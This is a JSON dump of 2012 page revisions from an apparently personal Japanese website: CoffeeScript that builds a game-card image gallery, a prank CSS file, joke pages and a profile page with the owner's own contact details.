'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n for b in bases \r\n h4 = document.createElement 'h4' \r\n h4.innerText = b.title \r\n div.appendChild h4 \r\n img = document.createElement 'img' \r\n img.src = 'http://mazusou.ssig33.com/?url='+encodeURIComponent(b.url + i + '.jpg') \r\n img.style.height = '500px' \r\n div.appendChild img \r\n br = document.createElement 'br' \r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e put()","created_at":"2012-03-01T03:20:51.000Z","updated_at":"2012-03-01T03:20:51.000Z"},{"id":2070,"name":"数学女子学園/mazusou","body":"# 数学女子学園\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/mazusou/js'/\u003e","created_at":"2012-03-01T03:21:14.000Z","updated_at":"2012-03-01T03:21:14.000Z"},{"id":2071,"name":"math/mazusou/js","body":"coffee\r\nput = ()-\u003e \r\n bases = [ {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, {title: 'Normal+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n for b in bases \r\n h4 = document.createElement 'h4' \r\n h4.innerText = b.title \r\n div.appendChild h4 \r\n img = document.createElement 'img' \r\n img.src = 'http://mazusou.ssig33.com/?url='+encodeURIComponent(b.url + i + '.jpg') \r\n img.style.height = '500px' \r\n div.appendChild img \r\n br = document.createElement 'br' \r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e put()","created_at":"2012-03-01T03:22:01.000Z","updated_at":"2012-03-01T03:22:01.000Z"},{"id":2072,"name":"数学女子学園/mazusou","body":"# 数学女子学園\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/math/mazusou/js'/\u003e","created_at":"2012-03-01T03:22:10.000Z","updated_at":"2012-03-01T03:22:10.000Z"},{"id":2073,"name":"math/mazusou/js","body":"coffee\r\nput = ()-\u003e \r\n bases = [ {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, {title: 'Normal+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n for b in bases \r\n h4 = document.createElement 'h4' \r\n h4.innerText = b.title \r\n div.appendChild h4 \r\n img = document.createElement 'img' \r\n img.src = 'http://mazusou.ssig33.com/?url='+b.url + i + '.jpg'\r\n img.style.height = '500px' \r\n div.appendChild img \r\n br = document.createElement 'br' \r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e put()","created_at":"2012-03-01T03:23:02.000Z","updated_at":"2012-03-01T03:23:02.000Z"},{"id":2074,"name":"数学女子学園","body":"# 数学女子学園\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cbutton id='mazusou'\u003emazusou\u003c/button\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e","created_at":"2012-03-01T06:14:03.000Z","updated_at":"2012-03-01T06:14:03.000Z"},{"id":2075,"name":"数学女子学園","body":"# 数学女子学園\r\n\u003cbutton id='mazusou'\u003emazusou\u003c/button\u003e\r\n\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e","created_at":"2012-03-01T06:14:12.000Z","updated_at":"2012-03-01T06:14:12.000Z"},{"id":2076,"name":"数学女子学園","body":"# 数学女子学園\r\n\u003cbutton id='mazusou'\u003emazusou\u003c/button\u003e\r\n\r\n\u003ca href='javascript:void(0)' id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e","created_at":"2012-03-01T06:15:09.000Z","updated_at":"2012-03-01T06:15:09.000Z"},{"id":2077,"name":"数学女子学園","body":"# 数学女子学園\r\n\u003ca href='javascript:void(0)' id='mazusou'\u003emazusou\u003c/button\u003e\r\n\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e","created_at":"2012-03-01T06:15:34.000Z","updated_at":"2012-03-01T06:15:34.000Z"},{"id":2078,"name":"数学女子学園","body":"# 数学女子学園\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e","created_at":"2012-03-01T06:15:50.000Z","updated_at":"2012-03-01T06:15:50.000Z"},{"id":2079,"name":"数学女子学園","body":"# 数学女子学園\r\n\u003cbutton id='mazusou'\u003emazusou\u003c/button\u003e\r\n\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e","created_at":"2012-03-01T06:20:17.000Z","updated_at":"2012-03-01T06:20:17.000Z"},{"id":2080,"name":"数学女子学園/js","body":"coffee \r\nmazusou = () -\u003e\r\n for i in document.querySelectorAll('img')\r\n i.src = 'http://mazusou.ssig33.com/?url='+i.src put = ()-\u003e \r\n bases = [ {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, {title: 'Normal+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n for b in bases \r\n h4 = document.createElement 'h4' \r\n h4.innerText = b.title \r\n div.appendChild h4 \r\n img = document.createElement 'img' \r\n img.src = b.url + i + '.jpg' \r\n img.style.height = '500px' \r\n div.appendChild img \r\n br = document.createElement 'br' \r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put()\r\n document.querySelector('#mazusou').addEventListener('click', -\u003e mazusou())","created_at":"2012-03-01T06:22:40.000Z","updated_at":"2012-03-01T06:22:40.000Z"},{"id":2081,"name":"数学女子学園/js","body":"coffee \r\nmazusou = () -\u003e\r\n for i in document.querySelectorAll('img')\r\n i.src = 'http://mazusou.ssig33.com/?url='+i.src\r\n\r\nput = ()-\u003e \r\n bases = [ {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, {title: 'Normal+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n for b in bases \r\n h4 = document.createElement 'h4' \r\n h4.innerText = b.title \r\n div.appendChild h4 \r\n img = document.createElement 'img' \r\n img.src = b.url + i + '.jpg' \r\n img.style.height = '500px' \r\n div.appendChild img \r\n br = document.createElement 'br' \r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put()\r\n document.querySelector('#mazusou').addEventListener('click', -\u003e mazusou())","created_at":"2012-03-01T06:23:07.000Z","updated_at":"2012-03-01T06:23:07.000Z"},{"id":2082,"name":"tonkatsu.ssig33.com","body":"# TONKATSU IS GREAT!!!!!!!\r\n\r\n## 03/01/2012 \r\nすずやとんかつ茶漬\r\n\r\n![食べた](http://photo.ssig33.com/permalink/467)\r\n\r\n### mazusou API\r\n![食べた](http://mazusou.ssig33.com?url=http://photo.ssig33.com/permalink/467)\r\n\r\n### tonkatsu.ssig33.com","created_at":"2012-03-01T13:47:01.000Z","updated_at":"2012-03-01T13:47:01.000Z"},{"id":2083,"name":"数学女子学園/js","body":"coffee \r\nmazusou = () -\u003e\r\n for i in document.querySelectorAll('img')\r\n i.src = 'http://mazusou.ssig33.com/?url='+i.src\r\n\r\nput = ()-\u003e \r\n bases = [ {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, {title: 'Normal+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n for b in bases \r\n h4 = document.createElement 'h4' \r\n div.appendChild h4\r\n h4.innerText = b.title \r\n img = document.createElement 'img' \r\n img.src = b.url + i + '.jpg' \r\n img.style.height = '500px' \r\n div.appendChild img \r\n br = document.createElement 'br' \r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put()\r\n document.querySelector('#mazusou').addEventListener('click', -\u003e mazusou())","created_at":"2012-03-11T22:50:55.000Z","updated_at":"2012-03-11T22:50:55.000Z"},{"id":2084,"name":"数学女子学園/js","body":"coffee \r\nmazusou = () -\u003e\r\n for i in document.querySelectorAll('img')\r\n i.src = 'http://mazusou.ssig33.com/?url='+i.src\r\n\r\nput = ()-\u003e \r\n bases = [ {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, {title: 'Normal+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n for b in bases \r\n h4 = document.createElement 'h4' \r\n h4.innerText = b.title\r\n div.appendChild h4\r\n img = document.createElement 'img' \r\n img.src = b.url + i + '.jpg' \r\n img.style.height = '500px' \r\n div.appendChild img \r\n br = document.createElement 'br' \r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put()\r\n document.querySelector('#mazusou').addEventListener('click', -\u003e mazusou())","created_at":"2012-03-11T22:52:05.000Z","updated_at":"2012-03-11T22:52:05.000Z"},{"id":2085,"name":"数学女子学園","body":"# 数学女子学園\r\n\u003cbutton id='mazusou'\u003e便利な機能\u003c/button\u003e\r\n\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e","created_at":"2012-03-12T12:58:30.000Z","updated_at":"2012-03-12T12:58:30.000Z"},{"id":2086,"name":"ろくろを回している公務員のまとめ","body":"[back to the top](/)\r\n# ろくろを回している公務員のまとめ\r\n結構回している。\r\n\r\n### 津市役所 総務部情報企画課課長 川原田 豊治氏\r\n![ろくろ](http://ssig33.com/gyazo/6b39e4cafc45e55ff38e5f95f7e09612.png)\r\n\r\n[ソース](http://cybozu.co.jp/casestudy/example/tsu/)\r\n\r\n### 宮古島市役所 エコアイランド推進課長 大金修一氏 \r\n![ろくろ](http://ssig33.com/gyazo/bb1936a8cc5bdaec6235f4eb50caa8c7.png)\r\n\r\n[ソース](http://miyakoshinpo.com/news.cgi?no=906\u0026continue=on)\r\n\r\n### 箕面市の教育委員会の面々\r\n![ろくろ](http://ssig33.com/gyazo/e2b600d11e068707f4f6110076ac3095.png)\r\n\r\n[ソース](http://www.ibuki3110.jp/interview/index1.html)\r\n\r\n### 那須塩原市役所 市企画部政策統括監(部長職) 渡辺泰之氏\r\n![ろくろ](http://ssig33.com/gyazo/4ce561ec1d9c09d76c26229b004d0b8f.png)\r\n\r\n[ソース](http://www.shimotsuke.co.jp/town/region/north/nasushiobara/news/20120209/717751)\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2012-03-21T05:08:58.000Z","updated_at":"2012-03-21T05:08:58.000Z"},{"id":2087,"name":"ろくろを回している公務員のまとめ","body":"[back to the top](/)\r\n# ろくろを回している公務員のまとめ\r\n結構回している。\r\n\r\n### 津市役所 総務部情報企画課課長 川原田 豊治氏\r\n![ろくろ](http://ssig33.com/gyazo/6b39e4cafc45e55ff38e5f95f7e09612.png)\r\n\r\n[ソース](http://cybozu.co.jp/casestudy/example/tsu/)\r\n\r\n---\r\n### 宮古島市役所 エコアイランド推進課長 大金修一氏 \r\n![ろくろ](http://ssig33.com/gyazo/bb1936a8cc5bdaec6235f4eb50caa8c7.png)\r\n\r\n[ソース](http://miyakoshinpo.com/news.cgi?no=906\u0026continue=on)\r\n\r\n---\r\n### 箕面市の教育委員会の面々\r\n![ろくろ](http://ssig33.com/gyazo/e2b600d11e068707f4f6110076ac3095.png)\r\n\r\n[ソース](http://www.ibuki3110.jp/interview/index1.html)\r\n\r\n---\r\n### 那須塩原市役所 市企画部政策統括監(部長職) 渡辺泰之氏\r\n![ろくろ](http://ssig33.com/gyazo/4ce561ec1d9c09d76c26229b004d0b8f.png)\r\n\r\n[ソース](http://www.shimotsuke.co.jp/town/region/north/nasushiobara/news/20120209/717751)\r\n\r\n---\r\n### 我孫子市副市長 青木章氏\r\n![ろくろ](http://ssig33.com/gyazo/4ccc1c7abdf6c39fec042bfcddb06604.png)\r\n\r\n[ソース](http://www.cgu.ac.jp/event/2010/20101008.html)\r\n\r\n---\r\n###北九州市役所 環境局環境経済部環境産業政策室エコタウン事業推進担当係長 平石順一氏\r\n![ろくろ](http://ssig33.com/gyazo/73f9e55518b152199a7cbf0a44c1bc8e.png)\r\n\r\n[ソース](http://www.nikkeibp.co.jp/article/g2bc/20100519/226801/?P=3)\r\n\r\n---\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2012-03-21T05:12:14.000Z","updated_at":"2012-03-21T05:12:14.000Z"},{"id":2088,"name":"ろくろを回している公務員のまとめ","body":"[back to the top](/)\r\n# ろくろを回している公務員のまとめ\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n結構回している。\r\n\r\n### 津市役所 総務部情報企画課課長 川原田 豊治氏\r\n![ろくろ](http://ssig33.com/gyazo/6b39e4cafc45e55ff38e5f95f7e09612.png)\r\n\r\n[ソース](http://cybozu.co.jp/casestudy/example/tsu/)\r\n\r\n---\r\n### 宮古島市役所 エコアイランド推進課長 大金修一氏 \r\n![ろくろ](http://ssig33.com/gyazo/bb1936a8cc5bdaec6235f4eb50caa8c7.png)\r\n\r\n[ソース](http://miyakoshinpo.com/news.cgi?no=906\u0026continue=on)\r\n\r\n---\r\n### 箕面市の教育委員会の面々\r\n![ろくろ](http://ssig33.com/gyazo/e2b600d11e068707f4f6110076ac3095.png)\r\n\r\n[ソース](http://www.ibuki3110.jp/interview/index1.html)\r\n\r\n---\r\n### 那須塩原市役所 市企画部政策統括監(部長職) 渡辺泰之氏\r\n![ろくろ](http://ssig33.com/gyazo/4ce561ec1d9c09d76c26229b004d0b8f.png)\r\n\r\n[ソース](http://www.shimotsuke.co.jp/town/region/north/nasushiobara/news/20120209/717751)\r\n\r\n---\r\n### 我孫子市副市長 青木章氏\r\n![ろくろ](http://ssig33.com/gyazo/4ccc1c7abdf6c39fec042bfcddb06604.png)\r\n\r\n[ソース](http://www.cgu.ac.jp/event/2010/20101008.html)\r\n\r\n---\r\n###北九州市役所 環境局環境経済部環境産業政策室エコタウン事業推進担当係長 平石順一氏\r\n![ろくろ](http://ssig33.com/gyazo/73f9e55518b152199a7cbf0a44c1bc8e.png)\r\n\r\n[ソース](http://www.nikkeibp.co.jp/article/g2bc/20100519/226801/?P=3)\r\n\r\n---","created_at":"2012-03-21T08:23:37.000Z","updated_at":"2012-03-21T08:23:37.000Z"},{"id":2089,"name":"ろくろを回している公務員のまとめ","body":"[back to the top](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ろくろを回している公務員のまとめ\r\n結構回している。\r\n\r\n### 津市役所 総務部情報企画課課長 川原田 豊治氏\r\n![ろくろ](http://ssig33.com/gyazo/6b39e4cafc45e55ff38e5f95f7e09612.png)\r\n\r\n[ソース](http://cybozu.co.jp/casestudy/example/tsu/)\r\n\r\n---\r\n### 宮古島市役所 エコアイランド推進課長 大金修一氏 \r\n![ろくろ](http://ssig33.com/gyazo/bb1936a8cc5bdaec6235f4eb50caa8c7.png)\r\n\r\n[ソース](http://miyakoshinpo.com/news.cgi?no=906\u0026continue=on)\r\n\r\n---\r\n### 箕面市の教育委員会の面々\r\n![ろくろ](http://ssig33.com/gyazo/e2b600d11e068707f4f6110076ac3095.png)\r\n\r\n[ソース](http://www.ibuki3110.jp/interview/index1.html)\r\n\r\n---\r\n### 那須塩原市役所 市企画部政策統括監(部長職) 渡辺泰之氏\r\n![ろくろ](http://ssig33.com/gyazo/4ce561ec1d9c09d76c26229b004d0b8f.png)\r\n\r\n[ソース](http://www.shimotsuke.co.jp/town/region/north/nasushiobara/news/20120209/717751)\r\n\r\n---\r\n### 我孫子市副市長 青木章氏\r\n![ろくろ](http://ssig33.com/gyazo/4ccc1c7abdf6c39fec042bfcddb06604.png)\r\n\r\n[ソース](http://www.cgu.ac.jp/event/2010/20101008.html)\r\n\r\n---\r\n###北九州市役所 環境局環境経済部環境産業政策室エコタウン事業推進担当係長 平石順一氏\r\n![ろくろ](http://ssig33.com/gyazo/73f9e55518b152199a7cbf0a44c1bc8e.png)\r\n\r\n[ソース](http://www.nikkeibp.co.jp/article/g2bc/20100519/226801/?P=3)\r\n\r\n---","created_at":"2012-03-21T08:23:48.000Z","updated_at":"2012-03-21T08:23:48.000Z"},{"id":2090,"name":"index","body":"\u003cspan class=\"h1\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Text](http://text.ssig33.com) \r\n\r\n[Photo Stream](http://photo.ssig33.com/)\r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2012-05-20T22:58:43.000Z","updated_at":"2012-05-20T22:58:43.000Z"},{"id":2091,"name":"fuba.kanekure.ssig33.com","body":"# FUBA","created_at":"2012-05-22T17:55:12.000Z","updated_at":"2012-05-22T17:55:12.000Z"},{"id":2092,"name":"warn.txt","body":"ケーキください","created_at":"2012-06-04T02:07:56.000Z","updated_at":"2012-06-04T02:07:56.000Z"},{"id":2093,"name":"ymrl.ssig33.com","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n# ymrl 学会\r\n![ymrl](http://farm7.staticflickr.com/6200/6106747606_238600b682_z.jpg)\r\n\r\n![ymrl](http://farm5.staticflickr.com/4147/5066404673_4ac4b89a88_z.jpg)\r\n## 趣旨\r\nymrl について研究します\r\n\r\n## 会長\r\n- ssig33\r\n\r\n## 研究成果\r\n### なんと今日は ymrl の誕生日らしいです。\r\n### おめでとうございます\r\n### 役に立つ URL です www.ymrl.net/warn.txt","created_at":"2012-06-11T07:55:14.000Z","updated_at":"2012-06-11T07:55:14.000Z"},{"id":2094,"name":"ymrl.ssig33.com","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n# ymrl 学会\r\n![ymrl](http://farm7.staticflickr.com/6200/6106747606_238600b682_z.jpg)\r\n\r\n![ymrl](http://farm5.staticflickr.com/4147/5066404673_4ac4b89a88_z.jpg)\r\n## 趣旨\r\nymrl について研究します\r\n\r\n## 会長\r\n- ssig33\r\n\r\n## 研究成果\r\n### なんと今日は ymrl の誕生日らしいです。\r\n### おめでとうございます\r\n### 役に立つ URL です http://www.ymrl.net/warn.txt","created_at":"2012-06-11T07:55:27.000Z","updated_at":"2012-06-11T07:55:27.000Z"},{"id":2095,"name":"ymrl.ssig33.com","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n# ymrl 学会\r\n![ymrl](http://farm7.staticflickr.com/6200/6106747606_238600b682_z.jpg)\r\n\r\n![ymrl](http://farm5.staticflickr.com/4147/5066404673_4ac4b89a88_z.jpg)\r\n## 趣旨\r\nymrl について研究します\r\n\r\n## 会長\r\n- ssig33\r\n\r\n## 研究成果\r\n### なんと今日は ymrl の誕生日らしいです。\r\n### おめでとうございます\r\n### 役に立つ URL です [http://www.ymrl.net/warn.txt](http://www.ymrl.net/warn.txt)","created_at":"2012-06-11T07:55:39.000Z","updated_at":"2012-06-11T07:55:39.000Z"},{"id":2096,"name":"ymrl.ssig33.com","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n# ymrl 学会\r\n![ymrl](http://farm7.staticflickr.com/6200/6106747606_238600b682_z.jpg)\r\n\r\n![ymrl](http://farm5.staticflickr.com/4147/5066404673_4ac4b89a88_z.jpg)\r\n## 趣旨\r\nymrl について研究します\r\n\r\n## 会長\r\n- ssig33\r\n\r\n## 副会長\r\n- nyontan\r\n\r\n## 研究成果\r\n### なんと今日は ymrl の誕生日らしいです。\r\n### おめでとうございます\r\n### 役に立つ URL です [http://www.ymrl.net/warn.txt](http://www.ymrl.net/warn.txt)","created_at":"2012-06-11T07:58:23.000Z","updated_at":"2012-06-11T07:58:23.000Z"},{"id":2097,"name":"ymrl.ssig33.com","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\r\n# ymrl 学会\r\n![ymrl](http://farm7.staticflickr.com/6200/6106747606_238600b682_z.jpg)\r\n\r\n![ymrl](http://farm5.staticflickr.com/4147/5066404673_4ac4b89a88_z.jpg)\r\n## 趣旨\r\nymrl について研究します\r\n\r\n## 会長\r\n- ssig33\r\n\r\n## 副会長\r\n- nyontan\r\n\r\n## 研究成果\r\n### なんと今日は ymrl の誕生日らしいです。\r\n### おめでとうございます\r\n### 役に立つ URL です [http://www.ymrl.net/warn.txt](http://www.ymrl.net/warn.txt)\r\n\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2012-06-11T08:02:40.000Z","updated_at":"2012-06-11T08:02:40.000Z"},{"id":2098,"name":"youpy.css","body":" * {\r\n\r\n -moz-transition: all 10s; \r\n -webkit-transition: all 10s; \r\n -ms-transition: all 10s; \r\n -o-transition: all 10s; \r\n transition: all 10s; \r\n border-radius:0;\r\n\r\n}\r\n\r\n*:hover {\r\n\r\n border-radius:50px;\r\n width:50px;\r\n height:50px;\r\n background:#f0f;\r\n position:absolute;\r\n top:0;\r\n left:0;\r\n -moz-transition: all 10s; \r\n -webkit-transition: all 10s; \r\n -ms-transition: all 10s; \r\n -o-transition: all 10s; \r\n transition: all 10s; \r\n\r\nfont-size: 3000px !important;\r\nborder: 100px dotted #0f0;\r\n}","created_at":"2012-06-11T08:04:29.000Z","updated_at":"2012-06-11T08:04:29.000Z"},{"id":2099,"name":"ymrl.ssig33.com","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\r\n# ymrl 